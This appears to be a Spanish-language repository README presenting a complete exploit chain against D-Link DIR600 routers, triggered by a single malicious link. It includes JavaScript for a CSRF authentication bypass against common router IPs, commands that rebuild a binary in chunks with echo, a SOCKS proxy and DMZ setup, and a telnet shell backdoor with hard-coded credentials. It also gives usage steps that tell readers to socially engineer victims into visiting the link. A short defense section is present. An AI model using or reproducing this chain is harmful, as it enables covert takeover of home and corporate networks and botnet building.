/ 6 min de lectura
Cadena de exploits para RCE en el D-Link DIR600

Resumen
Este repositorio contiene una cadena de exploits completa dirigida a routers D-Link DIR600, diseñada para lograr ejecución remota de código y establecer acceso persistente a la red a través de un solo link HTTP. El exploit aprovecha varias vulnerabilidades encadenadas para convertir routers hogareños en armas y crear túneles encubiertos hacia redes internas.
El desafío
El objetivo inicial era tomar control de redes internas explotando vulnerabilidades en routers hogareños. Como estos dispositivos típicamente no están expuestos a internet, el requisito crítico era encontrar vulnerabilidades explotables mediante ataques CSRF (Cross-Site Request Forgery) a través de links web maliciosos.
Restricciones iniciales de la investigación
El cronograma original de la investigación era muy ajustado: solo una semana, sin acceso físico a los dispositivos para debugging y análisis. Después de tres días con poco progreso, cambiamos por completo el enfoque de la investigación.
Sin embargo, esos primeros días dieron información clave sobre los requisitos de vulnerabilidad necesarios para comprometer routers y lograr posicionamiento dentro de la red interna.
Requisitos de la vulnerabilidad
Para una cadena de exploits exitosa, el router objetivo necesitaba cumplir estas condiciones:
- Vulnerabilidad CSRF: sin validación de token CSRF
- Problemas de autenticación: credenciales por defecto o bypass de autenticación
- Mala configuración de CORS: aceptar requests HTTP de cualquier origen (si se usan credenciales por defecto)
- Ejecución remota de código: un vector para lograr ejecución de comandos
Cambio de enfoque en la investigación
En lugar de descubrir vulnerabilidades nuevas en dispositivos sin probar, cambiamos el foco a identificar dispositivos existentes que ya cumplieran todos los criterios de vulnerabilidad. El objetivo pasó a ser crear una cadena de exploits completa que combinara estas debilidades para lograr un compromiso total del dispositivo.
Desafíos técnicos
Subida de binarios vía HTTP
El desafío principal era que el router no tenía herramientas propias para establecer reverse shells. Esto requirió:
- Generar un binario MIPS LSB32 (acorde al procesador del router)
- Subir el binario en partes a través de requests HTTP
- Reconstruir el binario usando comandos echo
- Evitar múltiples restricciones en el procesamiento de requests HTTP
Gracias especiales a Q3rv0 por el trabajo colaborativo en los bypasses de procesamiento de bytes vía HTTP.
Weaponización post-explotación
Después de lograr el acceso inicial, el objetivo se amplió a convertir el router en un arma para acceso persistente:
- Instalar un servidor proxy SOCKS para tunelizar tráfico
- Cross-compilar herramientas para arquitectura MIPS LSB
- Establecer conectividad externa a través de exposición de puertos
El desafío de la exposición de red
Como los routers normalmente no exponen puertos a internet por defecto, establecer conectividad externa requirió:
- Analizar el comportamiento del router y los mecanismos de port forwarding
- Entender la implementación interna de DMZ
- Hacer ingeniería inversa de la creación de reglas de iptables para configuraciones de DMZ
El exploit completo
Capacidades
El exploit automatizado final logra lo siguiente a través de un solo link HTTP:
- Compromiso completo del router: explota toda la cadena de vulnerabilidades en dispositivos D-Link DIR600
- Bypass de seguridad: deshabilita las protecciones del router y crea exposición a internet vía DMZ
- Acceso persistente: instala un servidor proxy SOCKS para tunelizar tráfico desde redes externas
- Administración remota: habilita acceso telnet con las credenciales
root:w00tw00t! - Operación encubierta: mantiene apariencia de configuración de fábrica; todos los rastros desaparecen al reiniciar el dispositivo
Impacto en el objetivo
Los datos actuales de Shodan/ZoomEye muestran aproximadamente 7.800 dispositivos vulnerables expuestos a internet:

Nota importante: Estas cifras representan solo los dispositivos expuestos a internet. El exploit puede apuntar a routers internos (típicamente en 192.168.0.1 u otras IPs locales) mediante ataques CSRF a través de links web maliciosos, lo que expande mucho el universo de víctimas potenciales más allá de los dispositivos visibles públicamente.
Estructura del repositorio
├── DMZ/ # DMZ configuration scripts├── curl_mipsle/ # MIPS cross-compiled curl binary├── exploit_dir600.html # Main exploit payload├── firmware/ # Extracted firmware analysis├── microsocks/ # SOCKS proxy server for MIPS├── reverse_shells/ # Reverse shell payloads└── shellcode utilities/ # Shellcode conversion toolsUso
⚠️ Advertencia: esta herramienta es solo para fines educativos y de testing autorizado. El acceso no autorizado a sistemas informáticos es ilegal.
- Alojar el archivo HTML del exploit en un servidor web
- Hacer ingeniería social para que el objetivo visite el link malicioso
- El exploit ejecuta automáticamente toda la cadena
- Acceder al router comprometido a través del proxy SOCKS instalado
Detalles técnicos
- Objetivo: routers D-Link DIR600
- Arquitectura: MIPS LSB32
- Vector de ataque: CSRF vía links web maliciosos
- Persistencia: temporal (se elimina al reiniciar)
- Acceso a la red: tunneling vía proxy SOCKS
Flujo de la cadena de exploits
Paso 1: Acceso inicial vía CSRF
El ataque empieza con una página HTML maliciosa que ejecuta ataques CSRF contra el router objetivo:
<script>// Target common router IP addressesvar targets = ['192.168.0.1', '192.168.1.1', '10.0.0.1'];
targets.forEach(function(ip) { // Attempt authentication bypass var img = new Image(); img.src = 'http://' + ip + '/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=wizard&var:login=true&var:password=&var:action=login';});</script>Paso 2: Subida y reconstrucción del binario
Debido a las capacidades limitadas de ejecución de comandos del router, los binarios se deben subir en partes chicas:
# Example: Upload SOCKS proxy binaryecho -ne '\x7f\x45\x4c\x46' > /tmp/microsocksecho -ne '\x01\x01\x01\x00' >> /tmp/microsocks# ... continue for entire binarychmod +x /tmp/microsocksPaso 3: Instalación del servicio y configuración de DMZ
# Start SOCKS proxy server/tmp/microsocks -p 1080 &
# Configure DMZ to expose servicesecho "dmz_enable=1" > /tmp/dmz_configecho "dmz_host=$(nvram get lan_ipaddr)" >> /tmp/dmz_configPaso 4: Persistencia y limpieza
# Enable telnet accesstelnetd -l /bin/sh -p 23 &
# Configure credentialsecho "root:w00tw00t!" | chpasswd
# All processes terminate on reboot for stealthEvaluación de impacto
Escenarios de penetración en la red
Redes corporativas: empleados trabajando desde casa con routers comprometidos dan acceso directo a redes corporativas internas a través de conexiones VPN.
Botnets de IoT: la explotación masiva crea una red distribuida de routers comprometidos para distintas actividades maliciosas.
Amenazas persistentes avanzadas: acceso de largo plazo a redes internas a través de equipamiento de red hogareño “de confianza”.
Estrategias de defensa
Segmentación de red: aislar las redes de home office de los recursos corporativos críticos.
Gestión de firmware: implementar políticas que exijan actualizaciones regulares de firmware en los routers.
Hardening de autenticación: exigir credenciales fuertes y únicas en todo el equipamiento de red.
Monitoreo de tráfico: monitorear conexiones salientes inusuales desde las direcciones IP de los routers.
Divulgación
Esta investigación demuestra los riesgos de seguridad críticos presentes en equipamiento de red hogareño legado. Las vulnerabilidades explotadas están bien documentadas, y este trabajo busca resaltar la importancia de:
- Actualizaciones regulares de firmware
- Cambio de credenciales por defecto
- Segmentación de red
- Implementación de protección CSRF
Colaboradores
- Investigación principal: el equipo de Volt AI
- Técnicas de bypass HTTP: Q3rv0
Esta investigación se llevó a cabo con fines educativos y de divulgación responsable.